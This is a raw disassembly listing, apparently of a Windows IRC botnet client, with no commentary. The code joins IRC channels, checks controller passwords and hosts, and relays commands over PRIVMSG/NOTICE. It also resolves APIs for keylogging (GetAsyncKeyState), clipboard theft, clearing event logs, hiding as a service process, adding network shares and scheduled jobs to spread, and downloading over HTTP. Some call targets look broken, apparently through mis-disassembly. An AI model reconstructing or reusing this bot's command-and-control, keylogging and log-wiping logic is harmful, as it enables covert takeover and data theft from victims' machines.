; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429740 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429718 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C pop ecx pop ecx push 1F4h call near ptr 2660D05h nop push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call dword_4CB03C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEF4[eax] nop call near ptr 26806FFh push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEF4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCE0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296EC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_4296C4 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_4296A0 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429674 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DE0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429658 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D44 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429634 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_429610 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295EC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2660D05h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295A0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42957C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA60 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE5C push ebx inc esi call sub_41C0F4 push offset asc_429578 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294F8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294A4 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429484 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429464 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE54, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h call near ptr 2660D05h nop locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB050, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAFC4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAFA8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAEB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAF0C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB004, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB060, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAEC4, eax call esi cmp dword_4CB050, ebx mov dword_4CAEAC, eax jz short loc_409C10 cmp dword_4CAFC4, ebx jz short loc_409C10 cmp dword_4CAFA8, ebx jz short loc_409C10 cmp dword_4CAEB8, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp dword_4CAF0C, ebx jz short loc_409C10 cmp dword_4CB004, ebx jz short loc_409C10 cmp dword_4CB060, ebx jz short loc_409C10 cmp dword_4CAEC4, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB064, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFDC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 267064Ch nop mov dword_4CB068, eax mov dword_4CB064, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2690BE7h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB000, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAFB0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF44, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB054, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF74, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF94, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFF8, eax call esi cmp dword_4CB000, ebx mov dword_4CAEE4, eax jz short loc_409D00 cmp dword_4CAFB0, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CB054, ebx jz short loc_409D00 cmp dword_4CAF74, ebx jz short loc_409D00 cmp dword_4CAF94, ebx jz short loc_409D00 cmp dword_4CAFF8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB06C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF70, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF40, eax call esi cmp dword_4CAF70, ebx mov dword_4CAF28, eax jz short loc_409D67 cmp dword_4CAE78, ebx jz short loc_409D67 cmp dword_4CAF40, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j call near ptr 267064Ch nop mov dword_4CB070, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB06C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB014, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF58, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAFC8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAEA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAF08, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF80, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAF24, eax call esi cmp dword_4CB014, ebx mov dword_4CAF34, eax jz short loc_409E1A cmp dword_4CAF58, ebx jz short loc_409E1A cmp dword_4CAFC8, ebx jz short loc_409E1A cmp dword_4CAEA4, ebx jz short loc_409E1A cmp dword_4CAF08, ebx jz short loc_409E1A cmp dword_4CAF80, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB074, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF88, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF60, eax call esi cmp dword_4CAF88, ebx mov dword_4CB010, eax jz short loc_409E5F cmp dword_4CAF60, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB074, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF98, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEEC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEF0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF64, eax call esi cmp dword_4CAF98, ebx mov dword_4CAE8C, eax jz short loc_409F0D cmp dword_4CAE80, ebx jz short loc_409F0D cmp dword_4CAE88, ebx jz short loc_409F0D cmp dword_4CAEEC, ebx jz short loc_409F0D cmp dword_4CAEF0, ebx jz short loc_409F0D cmp dword_4CAE9C, ebx jz short loc_409F0D cmp dword_4CAF64, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB074, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE84, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 267064Ch mov dword_4CB078, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB074, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF90, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFE8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFF0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAFAC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAEC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFEC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE60, eax call esi cmp dword_4CAF90, ebx mov dword_4CAF00, eax jz short loc_40A016 cmp dword_4CAFE8, ebx jz short loc_40A016 cmp dword_4CAFF0, ebx jz short loc_40A016 cmp dword_4CAFAC, ebx jz short loc_40A016 cmp dword_4CAEC8, ebx jz short loc_40A016 cmp dword_4CAE74, ebx jz short loc_40A016 cmp dword_4CAFEC, ebx jz short loc_40A016 cmp dword_4CAE60, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 267064Ch mov dword_4CB080, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB07C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAF14, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB048, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAEB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF50, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF38, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAEFC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB024, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB040, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF4C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB030, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFE4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAFA4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAFA0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAED4, eax call esi push offset aSend ; "send" push edi mov dword_4CAECC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFF4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB008, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAFBC, eax call esi mov dword_4CAF7C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFD0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF8C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAFCC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB038, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF84, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF48, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAFB8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB028, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF5C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEF8, eax call esi cmp dword_4CAF14, ebx mov dword_4CB03C, eax jz loc_40A2E7 cmp dword_4CB048, ebx jz loc_40A2E7 cmp dword_4CAEB4, ebx jz loc_40A2E7 cmp dword_4CAF50, ebx jz loc_40A2E7 cmp dword_4CAF38, ebx jz loc_40A2E7 cmp dword_4CAEFC, ebx jz loc_40A2E7 cmp dword_4CB024, ebx jz loc_40A2E7 cmp dword_4CB040, ebx jz loc_40A2E7 cmp dword_4CAF4C, ebx jz loc_40A2E7 cmp dword_4CB030, ebx jz loc_40A2E7 cmp dword_4CAFE4, ebx jz loc_40A2E7 cmp dword_4CAFA4, ebx jz loc_40A2E7 cmp dword_4CAFA0, ebx jz loc_40A2E7 cmp dword_4CAED4, ebx jz short loc_40A2E7 cmp dword_4CAFF4, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAFBC, ebx jz short loc_40A2E7 cmp dword_4CAF7C, ebx jz short loc_40A2E7 cmp dword_4CAFD0, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAFCC, ebx jz short loc_40A2E7 cmp dword_4CB038, ebx jz short loc_40A2E7 cmp dword_4CAF84, ebx jz short loc_40A2E7 cmp dword_4CAF48, ebx jz short loc_40A2E7 cmp dword_4CAFB8, ebx jz short loc_40A2E7 cmp dword_4CB028, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 267064Ch mov dword_4CB088, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB084, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEE0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF6C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAF18, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF78, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF3C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAEA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAEA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAEB0, eax call esi cmp dword_4CAEE0, ebx mov ecx, dword_4CAF3C mov dword_4CAFD8, eax jz short loc_40A3D2 cmp dword_4CAE68, ebx jz short loc_40A3D2 cmp dword_4CAF6C, ebx jz short loc_40A3D2 cmp dword_4CAF18, ebx jz short loc_40A3D2 cmp dword_4CAF78, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAEA8, ebx jz short loc_40A3D2 cmp dword_4CAEA0, ebx jz short loc_40A3D2 cmp dword_4CAEB0, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB08C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF54, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 267064Ch mov dword_4CB090, eax mov dword_4CB08C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF54, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAF2C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB05C, eax call esi cmp dword_4CAF2C, ebx mov dword_4CAEBC, eax jz short loc_40A466 cmp dword_4CB05C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 267064Ch mov dword_4CB098, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB094, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEE8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi 